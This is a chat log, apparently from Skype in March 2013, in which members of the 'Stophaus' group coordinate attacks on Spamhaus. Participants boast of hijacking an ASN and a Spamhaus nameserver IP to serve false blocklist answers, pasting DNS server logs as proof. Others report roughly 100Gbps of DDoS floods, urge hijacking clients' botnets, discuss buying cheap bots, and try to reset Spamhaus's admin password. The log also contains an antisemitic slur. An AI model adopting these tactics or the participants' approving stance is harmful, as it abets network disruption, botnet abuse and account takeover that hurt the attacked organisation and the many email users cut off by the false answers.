[20.03.2013 03:41:54] Antitheist: i think they want to show that they are on the map [20.03.2013 03:42:15] Yuri: tomorrow we publish all spamhaus database. [20.03.2013 03:42:18] Antitheist: to every ISP, thats why this shit zombie SBL game [20.03.2013 03:43:19] Antitheist: look, they did it today to level3, comcast, earthlink, etc [20.03.2013 03:43:50] Yuri: we sool build connections. [20.03.2013 03:44:02] Yuri: and can accept spamhaus stuff [20.03.2013 03:44:18] Yuri: and have spamhaus combat here. on our field [20.03.2013 03:46:57] Antitheist: but hosting in ru have an own spamhaus soon, which is sad [20.03.2013 03:47:08] narko: then let's host in armenia [20.03.2013 03:50:12] Yuri: ru "spamhaus" is much better becouse you can always fuck them, they are here. and they play by ruls [20.03.2013 03:50:25] Yuri: they can fuck Ip but they never fuck network [20.03.2013 03:50:29] Yuri: or upstrream [20.03.2013 03:50:50] eDataKing: Yuri: <<< tomorrow we publish all spamhaus database.beautiful [20.03.2013 03:51:12] Antitheist: that means deleted sbls as well? [20.03.2013 03:51:18] Yuri: yes. [20.03.2013 03:51:21] eDataKing: let's get stophaus.ru then [20.03.2013 03:52:04] Yuri: ok, moment. [20.03.2013 03:54:58] Yuri: registration done. eDataKing, please add that domain to yandex control panel for DNSsdns1.yandex.net dns2.yandex.net [20.03.2013 03:55:26] eDataKing: ok [20.03.2013 03:56:49] eDataKing: I am having issues accessing the control panel [20.03.2013 03:56:59] eDataKing: this 3g connection is making my days hard [20.03.2013 03:57:18] eDataKing: I assume it is the link on that domain? [20.03.2013 03:58:45] Yuri: i ask narko to fix that. [20.03.2013 04:00:43] Yuri: i send it already to pm [20.03.2013 04:01:15] narko: found [20.03.2013 04:09:16] Yuri: there is a plan how to do and what to do next. [20.03.2013 04:09:52] Yuri: i would like to discuss it, but with the persons who is going to do something, not just sitting and watching the show. [20.03.2013 11:10:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: UDP connection from 89.20.64.132:41205 to 147.102.222.241 query 53381: (itmpi.org.dbl.spamhaus.org, IN, A) - Received query from 89.20.64.132 to 147.102.222.241 ;; HEADER SECTION ;; id = 53381 ;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 1 rcode = NOERROR ;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1 ;; QUESTION SECTION (1 record) ;; itmpi.org.dbl.spamhaus.org. IN A ;; ANSWER SECTION (0 records) ;; AUTHORITY SECTION (0 records) ;; ADDITIONAL SECTION (1 record) ; EDNS Version 0 UDP Packetsize: 4096 ; EDNS-RCODE: 0 (ONLY_RDATA) ; EDNS-FLAGS: 0x8000 NOERROR ;; id = 53381 ;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 1 rcode = NOERROR ;; qdcount = 1 ancount = 1 nscount = 0 arcount = 0 Writing response - done Waiting for connections... Waiting for connections... [20.03.2013 11:10:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: prepare for a riot :P [20.03.2013 11:10:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i hijacked one of their shitlist dns ips [20.03.2013 11:10:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and am giving out false positives with oru attack claim as the url in the bounce mail [20.03.2013 11:10:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: expiry time set to a week [20.03.2013 11:10:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so that will 'stick around' [20.03.2013 11:11:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now this does not have a lot of -technical- impact after all its just one ip [20.03.2013 11:11:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but those answers stick around and the onces that resolved it won't be able to like.... well... send mail for quite a while [20.03.2013 11:12:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: also hijacked an unused surfnet asn to do it from btw :P lulz [20.03.2013 11:12:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: query 40021: (centrofornituresnc.com.multi.surbl.org, IN, A) - Received query from 89.20.90.2 to 147.102.222.241 ;; HEADER SECTION ;; id = 40021 ;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 1 rcode = NOERROR ;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1 ;; QUESTION SECTION (1 record) ;; centrofornituresnc.com.multi.surbl.org. IN A ;; ANSWER SECTION (0 records) ;; AUTHORITY SECTION (0 records) ;; ADDITIONAL SECTION (1 record) ; EDNS Version 0 UDP Packetsize: 4096 ; EDNS-RCODE: 0 (ONLY_RDATA) ; EDNS-FLAGS: 0x8000 [20.03.2013 11:12:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh look at that [20.03.2013 11:12:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they actually have more than one shitlist on the same nameserver! [20.03.2013 11:12:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: whatssurbl.org [20.03.2013 11:13:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and what is it doing on a -spamhaus- dns server [20.03.2013 11:13:35] Antitheist: surbl is a reputation project shit [20.03.2013 11:13:40] Antitheist: just like mywot [20.03.2013 11:13:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah so thats -them- as well [20.03.2013 11:13:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: good to know [20.03.2013 11:48:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz. tons of requests. [20.03.2013 11:48:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a loooot of people are not gonna have working email for a while to come lol [20.03.2013 11:49:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats what you get for trusting spamjew [20.03.2013 11:50:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Writing response - done Waiting for connections... UDP connection from 188.142.0.6:56355 to 204.16.254.40 query 49318: (15.200.16.46.sbl.spamhaus.org, IN, TXT) - Received query from 188.142.0.6 to 204.16.254.40 ;; HEADER SECTION ;; id = 49318 ;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 0 rcode = NOERROR ;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1 ;; QUESTION SECTION (1 record) ;; 15.200.16.46.sbl.spamhaus.org. IN TXT ;; ANSWER SECTION (0 records) ;; AUTHORITY SECTION (0 records) ;; ADDITIONAL SECTION (1 record) ; EDNS Version 0 UDP Packetsize: 4096 ; EDNS-RCODE: 0 (ONLY_RDATA) ; EDNS-FLAGS: 0x8000 NOERROR ;; id = 49318 ;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 0 rcode = NOERROR ;; qdcount = 1 ancount = 1 nscount = 0 arcount = 0 Writing response - done Waiting for connections... UDP connection from 188.142.0.6:60013 to 204.16.254.40 query 42289: (75.4.16.217.sbl.spamhaus.org, IN, TXT) - Received query from 188.142.0.6 to 204.16.254.40 ;; HEADER SECTION ;; id = 42289 ;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 0 rcode = NOERROR ;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1 ;; QUESTION SECTION (1 record) ;; 75.4.16.217.sbl.spamhaus.org. IN TXT ;; ANSWER SECTION (0 records) ;; AUTHORITY SECTION (0 records) ;; ADDITIONAL SECTION (1 record) ; EDNS Version 0 UDP Packetsize: 4096 ; EDNS-RCODE: 0 (ONLY_RDATA) ; EDNS-FLAGS: 0x8000 NOERROR ;; id = 42289 ;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 0 rcode = NOERROR ;; qdcount = 1 ancount = 1 nscount = 0 arcount = 0 Writing response - done Waiting for connections... U [20.03.2013 11:52:33] simomchen: now, you can just 'listed ' all SH's prefixs , and 'remove' other prefixs , lol [20.03.2013 11:52:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i did :P [20.03.2013 11:52:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it says -everything- is on sbl [20.03.2013 11:52:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and gives them this url [20.03.2013 11:53:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://stophaus.com/entry.php?3-Operation-stophaus [20.03.2013 11:53:14] simomchen: so , SH would become the #1 spammer in this case. [20.03.2013 11:53:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and the dns expiry on that is a week [20.03.2013 11:53:30] simomchen: oh, they instead of your #1 [20.03.2013 11:53:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: exactly, spamhaus is actually promoting our forum for us in the bounce mails [20.03.2013 11:53:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [20.03.2013 11:54:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hate to break the news to them, but having 70 nameservers, actually makes them more vulnerable [20.03.2013 11:54:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as you only need to take control of ONE of them or its ip [20.03.2013 11:55:30] simomchen: Sven , can you please reply my message ? if my idaer works , we can also use AS131279 for hijacking all their IPs [20.03.2013 11:55:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm what you intend to do there is putting surfnet's asn before yours... which is technically no issue [20.03.2013 11:56:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just that then you make half the university networks of europe invisible :P [20.03.2013 11:56:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they won't accept any routes that contain their asn already [20.03.2013 11:56:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no bgp router does without allowas-in [20.03.2013 11:56:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (thats why you have to turn it on between your OWN routers ;) [20.03.2013 11:57:24] simomchen: so, that idear will not works ? [20.03.2013 11:57:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i'll leave this running for like... an hour... then turn it on with a different ip and asn again later on :P [20.03.2013 11:57:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: by which time we've already inserted false positive dns entries into cached dns of half the world anyway [20.03.2013 11:57:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 11:58:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gives em something to think about... considering the fact that we don't have full ipv4 transit atm :P [20.03.2013 11:58:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so its hard to find for them [20.03.2013 11:58:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that, and them keeping their nameserver ips 'secret' means that people seing this 'problem' won't know what to look for lol [20.03.2013 11:59:14] simomchen: for cb3rob , I peered surfnet yesterday. so , your networking will works in NL , I guess [20.03.2013 11:59:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: good :P [20.03.2013 11:59:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: did you talk to wim biemolt lol [20.03.2013 12:00:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i need to check wether all our peers work anyway, the number seems to have gone down from like 150 or so to 70 [20.03.2013 12:00:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: guess a lot of em left nl-ix or changed their asn over the years lol [20.03.2013 12:00:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and probably a lot of em didn't have a max-prefix set that can accomodate us instead of transitting our own handfull of prefixes, init7 :P [20.03.2013 12:01:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (which we turned off again as that was significantly more than 1gbit/s ;) [20.03.2013 12:01:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now we transit like 50 or so prefixes, mainly out of this group here [20.03.2013 12:02:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the network operations guy of init7 is also in politics in zwitserland btw... he could probably take steps against spamhaus their office there [20.03.2013 12:02:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not with our party... but he knows what the internet is anyway lol [20.03.2013 12:03:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i don't think -this- has ever been done before :P [20.03.2013 12:03:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: blatantly hijacking their ips haha [20.03.2013 12:03:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fuck em [20.03.2013 12:04:42] simomchen: http://www.di-net.ru/ like doing something about hijacking [20.03.2013 12:04:51] simomchen: we also having 2 prefixs hijacking by them [20.03.2013 12:06:23] NM: yes [20.03.2013 12:06:30] NM: they hijacked my nets too [20.03.2013 12:06:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: doesn't seem to load from this cracked wifi :P [20.03.2013 12:07:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: probably the isp didn't like them [20.03.2013 12:07:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 12:08:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (whatever went wrong that im on a 3 watt wifi tranceiver hooked up to a mac mini with a full list of all the cracked WEP accesspoints in 6km radius anyway ;) [20.03.2013 12:08:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i mean, i used to have fucking fiber at my home [20.03.2013 12:08:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [20.03.2013 12:08:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ghetto shit [20.03.2013 12:09:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dont' even wanna run our tunnel protocol over it on 53/udp as i think their shitty little nat routers might die :P [20.03.2013 12:10:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: tactical internet looks ehm.. somewhat different... where is my truck mercedes? :P [20.03.2013 12:10:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: y engine revision taking 2 weeks :( [20.03.2013 12:11:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (my bad, should just have told em to just drop in a god damn new one on the first attempt ... would have saved like 8k or so on the whole by now as well ;) [20.03.2013 12:12:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: engine revisions for some reason only work out if they have half the formula one team there anyway... and a few weeks :P [20.03.2013 12:12:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: appearantly thats 'hard to do' for car-nerds :P [20.03.2013 12:14:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh thats what i can demand of tata :P 3 shiney new tempo travellers lol... with euro-2.. woot :P [20.03.2013 12:14:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after all they own that joint too [20.03.2013 12:14:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: u no route the republic cyberbunker, you compensate us with a bunch of new trucks [20.03.2013 12:28:14] Валерий Лёлин: narko? [20.03.2013 12:28:21] Валерий Лёлин: spf works fine? [20.03.2013 12:36:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: on-authoritative answer: www.spamhaus.org canonical name = cdn-cf.spamhaus.eu. Name: cdn-cf.spamhaus.eu Address: 190.93.248.140 Name: cdn-cf.spamhaus.eu Address: 190.93.249.140 [20.03.2013 12:36:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: "email service provider" lol [20.03.2013 12:36:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: antique shit [20.03.2013 12:36:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [20.03.2013 13:57:29] Валерий Лёлин: Narco? [20.03.2013 13:58:07] narko: yes? [20.03.2013 13:58:32] narko: wait, need to read all. [20.03.2013 13:58:33] narko: just woke up [20.03.2013 13:59:07] Валерий Лёлин: Spoof works fine? [20.03.2013 13:59:52] narko: yes [20.03.2013 14:00:00] narko: :) [20.03.2013 14:02:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://www.magillreport.com/Spamhaus-Provides-First-Batch-of-Answers/?CommentPlaced=1?CommentPlaced=1#Comments [20.03.2013 14:10:35] narko: lol [20.03.2013 14:10:38] narko: nice read [20.03.2013 14:10:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: also nailed him on his 'terrorism' thing haha [20.03.2013 14:10:55] Yuri: let me read [20.03.2013 14:20:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: bet they're gonna call me a 'spammer' now hahahaha [20.03.2013 14:20:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that'd be the day, i sent out -5- emails over the past 2 years or so haha [20.03.2013 14:24:19] eDataKing: That is AWESOME [20.03.2013 14:24:52] eDataKing: http://www.webhostingtalk.com/showpost.php?p=8608752&postcount=9 [20.03.2013 14:26:16] eDataKing: Edited out the mention of networks just to be safe [20.03.2013 15:20:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: HAHAHAHAHA [20.03.2013 15:21:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Pieter '@Legosteentje 2h "@alcyonsecurity: Great. Just got bitten by the fact that 127.0.0.1 has been blacklisted by Spamhaus briefly #learningmoment #whitelisting" Expand Reply Retweet Favorite More [20.03.2013 15:21:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: true that, 127.0.0.1 is also in sbl nao haha [20.03.2013 15:30:30] eDataKing: lol [20.03.2013 15:30:43] eDataKing: so is 0.0.2 [20.03.2013 15:30:45] eDataKing: that's funny [20.03.2013 15:30:53] eDataKing: thank Laura for that lol [20.03.2013 15:31:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well, no, thank -me- for that :P [20.03.2013 15:32:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: considerng that -their- expirytime is on 300 seconds [20.03.2013 15:32:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and -mine- is on a week [20.03.2013 15:32:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it can't take long before ALL major mailers are firmly shitlisted [20.03.2013 15:32:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as well as all the rest of the internet [20.03.2013 15:32:31] eDataKing: lol, you know what I meant [20.03.2013 15:32:38] eDataKing: didn't you see that on Laura's blog [20.03.2013 15:32:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nope [20.03.2013 15:32:49] eDataKing: oh, sry then [20.03.2013 15:33:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ;; HEADER SECTION ;; id = 26547 ;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 1 rcode = NOERROR ;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1 ;; QUESTION SECTION (1 record) ;; 38.115.171.170.zen.spamhaus.org. IN A ;; ANSWER SECTION (0 records) ;; AUTHORITY SECTION (0 records) ;; ADDITIONAL SECTION (1 record) ; EDNS Version 0 UDP Packetsize: 4096 ; EDNS-RCODE: 0 (ONLY_RDATA) ; EDNS-FLAGS: 0x8000 NOERROR ;; id = 26547 ;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 0 ;; ra = 0 ad = 0 cd = 1 rcode = NOERROR ;; qdcount = 1 ancount = 1 nscount = 0 arcount = 0 [20.03.2013 15:33:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P [20.03.2013 15:33:27] eDataKing: I thought it was related to this: http://stophaus.com/showthread.php?74-Laura-s-Little-Secret [20.03.2013 15:33:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: vBulletin Message Hey there! It appears that you've exceeded the maximum number of posts you can view, but wait, there's a simple solution. To unlock the forum and continue viewing messages, all you need to do is sign up for a free account. The entire process takes just a few minutes so create your account now and view as many threads as you like! Already a member? Login at the top of this page to stop seeing this message. [20.03.2013 15:34:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: put that limit on like... 50 or so [20.03.2013 15:34:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not '1' ;) [20.03.2013 15:34:07] eDataKing: you have to be logged in [20.03.2013 15:34:16] eDataKing: not for that forum [20.03.2013 15:34:24] eDataKing: that is The Water Cooler [20.03.2013 15:34:27] eDataKing: for members only [20.03.2013 15:35:34] eDataKing: zaigham: CBL listing website is down for too long. Anybody listening on Twitter from CBL? #spamhaus [20.03.2013 15:35:35] eDataKing: lol [20.03.2013 15:36:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats not the only thing they have to worry about. i hijacked a couple of their nameservers and am currently giving out false positives with our url on the entire god damn internet [20.03.2013 15:36:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 15:36:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with an expirytime of a week [20.03.2013 15:36:30] eDataKing: lol, the end of spamhaus is nigh [20.03.2013 15:36:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep, THAT will motivate people to quickly remove spamhaus from their configs [20.03.2013 15:36:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and never put it back [20.03.2013 15:36:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 15:39:47] eDataKing: agreed [20.03.2013 15:40:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they can have all the nameservers they want in the world, as long as we from time to time take control of only -one- of them and chunk out a fuckton of answers with a really long expiry [20.03.2013 15:40:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that makes it all the more hard for them to figure out how we do it [20.03.2013 15:40:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 15:41:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: especially since their nameservers are hidden from 'average nerds' and no logging ever takes place in the mailservers regarding which one gave the answer [20.03.2013 15:41:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they query their own resolvers [20.03.2013 15:41:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and don't log that anyway [20.03.2013 16:52:25] NM: Does irc work? [20.03.2013 16:53:46] eDataKing: I tried to lgon last night and got nothing [20.03.2013 16:54:03] NM: :( [20.03.2013 16:54:16] eDataKing: I am sure it will be fixed [20.03.2013 16:55:35] Antitheist: irc works for me [20.03.2013 16:55:50] Antitheist: i see most of you got ping timeout [20.03.2013 16:55:54] eDataKing: maybe it was me then [20.03.2013 16:55:57] Antitheist: maybe packetloss on the server [20.03.2013 16:56:03] eDataKing: possibly [20.03.2013 16:56:36] Antitheist: oh wait, maybe i know why [20.03.2013 16:56:46] Antitheist: there is no A record for irc.stophaus.com [20.03.2013 16:56:51] Antitheist: and I used IP [20.03.2013 17:00:52] eDataKing: narko or yuri will see that now [20.03.2013 17:03:30] narko: (envy) [20.03.2013 17:03:45] eDataKing: http://i.imgur.com/vYwnXTK.jpg [20.03.2013 17:03:50] eDataKing: check that out [20.03.2013 17:04:02] narko: what is that site [20.03.2013 17:04:20] eDataKing: tthat is a report made that Cloudflare shared was dropping packets [20.03.2013 17:04:37] eDataKing: and the webmaster posted a screenshot of the packet loss activity [20.03.2013 17:04:45] narko: whos ddosing their cloudflare? [20.03.2013 17:04:53] Yuri: i am asked some people to test [20.03.2013 17:05:02] Yuri: but i don't know if the did anything [20.03.2013 17:05:29] eDataKing: report was made here: http://www.webhostingtalk.com/showthread.php?t=1248957 [20.03.2013 17:05:44] eDataKing: seems that some people are joining in lol [20.03.2013 17:06:05] narko: I will post [20.03.2013 17:06:07] eDataKing: but I always expected that would happen after InformationWeek published an article drawing attention to STOPhaus [20.03.2013 17:06:16] eDataKing: I would be real safe doing that [20.03.2013 17:06:32] eDataKing: Sven has already clarified things on Magill's blog [20.03.2013 17:06:40] eDataKing: http://www.magillreport.com/Spamhaus-Provides-First-Batch-of-Answers/?CommentPlaced=1 [20.03.2013 17:07:17] narko: http://www.webhostingtalk.com/showpost.php?p=8608973&postcount=3 [20.03.2013 17:07:45] eDataKing: lol [20.03.2013 17:27:58] narko: looks like one of the cloudflare dc is down [20.03.2013 17:28:08] narko: previously my connection to spamhaus was to amsterdam [20.03.2013 17:28:10] narko: now it's to paris :) [20.03.2013 17:28:53] simomchen: keeping ddos them , then , cloudflare will cick SH out [20.03.2013 17:29:03] narko: i am adding more [20.03.2013 17:29:20] narko: if you know anyone with botnet - ask them to help too. there will be a point where even the $2000 cloudflare enterprise plan is not worth it to them. [20.03.2013 17:31:42] simomchen: maybe someone joined us. SH released xxx is making ddos them. and some other guys saw this.but do not connect us. they was blackmailed by SH before. so , it's a hidden retaliation time for them [20.03.2013 17:32:04] narko: hope so [20.03.2013 17:32:09] narko: it seems they split the load between 2 dc actually [20.03.2013 17:32:12] Antitheist: who is ddosing them? [20.03.2013 17:32:17] narko: spamhauas has 2 ip and 1 is amsterdam other is paris [20.03.2013 17:32:18] Antitheist: where did you see it idear4business [20.03.2013 17:33:16] Yuri: look, there too much people who is not active here. may be we could remove them from this chat ? [20.03.2013 17:33:29] narko: yes I think that's good idea. there's some people who i have never seen one messaage [20.03.2013 17:33:48] simomchen: they do not wanna to show their identity, just wanna to make retaliation. I guess those. can not seeing this. but at least , some of our clients also joined , and making ddos SH from China. they hate spamhaus , because SH made their domains 'clent hold' (over 50000 domains) in the passed year [20.03.2013 17:33:49] Yuri: let's create new one subchat and move there. how is the idea? [20.03.2013 17:34:32] Antitheist: spamhaus made 500 of my domains hold [20.03.2013 17:34:38] narko: everyone who has bp host [20.03.2013 17:34:40] Antitheist: cnobin, its a bizcn reseller [20.03.2013 17:34:46] narko: hijack the botnets of your clients and ddos spamhaus :P [20.03.2013 17:34:51] Antitheist: lol))) [20.03.2013 17:35:14] narko: my experience with BP hosts - you can always get some free bots from whoever used the IP previously :)))) [20.03.2013 17:35:27] Antitheist: if you have the same panel [20.03.2013 17:35:40] narko: well I just adapt my software to accept their commands [20.03.2013 17:35:41] simomchen: no need to hijack , if our clients wanna to ddos someone , they will buy some botnets. it's cheap in China , like 0.01 EUR/each [20.03.2013 17:35:44] narko: most of them are not encrypted at all [20.03.2013 17:35:45] NM: :) [20.03.2013 17:35:50] simomchen: Sven also know that [20.03.2013 17:35:56] narko: each bot? [20.03.2013 17:36:01] simomchen: yes [20.03.2013 17:36:06] simomchen: ADSL bot [20.03.2013 17:36:10] narko: what is the upload speed of china ADSL? [20.03.2013 17:36:16] simomchen: with dynamic IP [20.03.2013 17:36:24] simomchen: just 50-100Kbps [20.03.2013 17:36:40] narko: we need some netherland/sweden/romania bots :P [20.03.2013 17:36:49] narko: they have 100mbps or more [20.03.2013 17:37:04] NM: In Russia too [20.03.2013 17:37:33] simomchen: SH is not works in China till now. and sometime , they are going up down up down. [20.03.2013 17:38:09] narko: spamhaus can make down .cn domains ? [20.03.2013 17:38:18] Yuri: yes. [20.03.2013 17:38:39] simomchen: our clients is selling something to EU and US, so , they do not use .cn [20.03.2013 17:38:50] simomchen: usually , they use .com/net [20.03.2013 17:39:16] narko: they should apply for a new tld [20.03.2013 17:39:17] narko: .ugg [20.03.2013 17:39:33] simomchen: yes [20.03.2013 17:39:51] Antitheist: .rx [20.03.2013 17:39:54] Yuri: ))))) [20.03.2013 17:40:09] Yuri: .ugg (y) [20.03.2013 17:40:17] narko: (sun) [20.03.2013 17:40:43] narko: i hosted botnets under .w2c.ru domain [20.03.2013 17:41:10] narko: and the domain was not made down [20.03.2013 17:41:34] Yuri: hey. wtf, it's my domain :) [20.03.2013 17:41:41] narko: yes I had dedicated server [20.03.2013 17:41:44] narko: free subdomain [20.03.2013 17:41:57] Yuri: :O:D [20.03.2013 17:42:11] narko: but i needed to move [20.03.2013 17:42:19] narko: because a big ISP in Europe blocked all your ip range :P [20.03.2013 17:42:26] narko: i lost half my bots [20.03.2013 17:44:53] narko: ok. currently i have running against spamhaus: [20.03.2013 17:45:15] narko: ~100Gbps UDP ~ 20M pps TCP ~ 65k req/s HTTP distributed between the 2 IP [20.03.2013 17:45:21] narko: cloudflare must remove them soon.. [20.03.2013 17:45:31] eDataKing: :) [20.03.2013 17:47:22] narko: http://i.imgur.com/prDIVYU.png -- current status [20.03.2013 17:48:21] Yuri: who will post that on twitter? [20.03.2013 17:48:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with a taskbar of skype and one of your contacts names in it [20.03.2013 17:48:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so better not [20.03.2013 17:48:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [20.03.2013 17:48:32] Yuri: let's create anonum stophaus twitter [20.03.2013 17:48:36] simomchen: SH spend too much traffice of cloudflare and bring un-stanble, so , CF will cick them out soon [20.03.2013 17:48:57] eDataKing: I have a guy doing twitter [20.03.2013 17:49:17] eDataKing: He's an anon from India so he's good [20.03.2013 17:49:47] narko: ..until he gets killed for marrying the wrong girl [20.03.2013 17:51:35] Antitheist: i think they dropped icmp on 190.93.249.140 [20.03.2013 17:51:41] simomchen: anon means 'hacker'? [20.03.2013 17:51:41] narko: no [20.03.2013 17:51:45] narko: its just [20.03.2013 17:51:48] Antitheist: --- 190.93.249.140 ping statistics --- 26 packets transmitted, 3 packets received, 88.5% packet loss round-trip min/avg/max/stddev = 76.328/76.943/77.482/0.474 ms [20.03.2013 17:51:50] narko: very very low priority or something [20.03.2013 17:55:56] Antitheist: what do we know about proxypot.net? [20.03.2013 17:56:08] Antitheist: i tried to reset the google apps admin password of spamhaus.org [20.03.2013 17:56:26] Antitheist: spamhaus.org Accounts Forgot your administrator username or password? spamhaus.org Accounts We have emailed instructions on resetting your password to your backup secondary address, which ends in: proxypot.net. If you can't 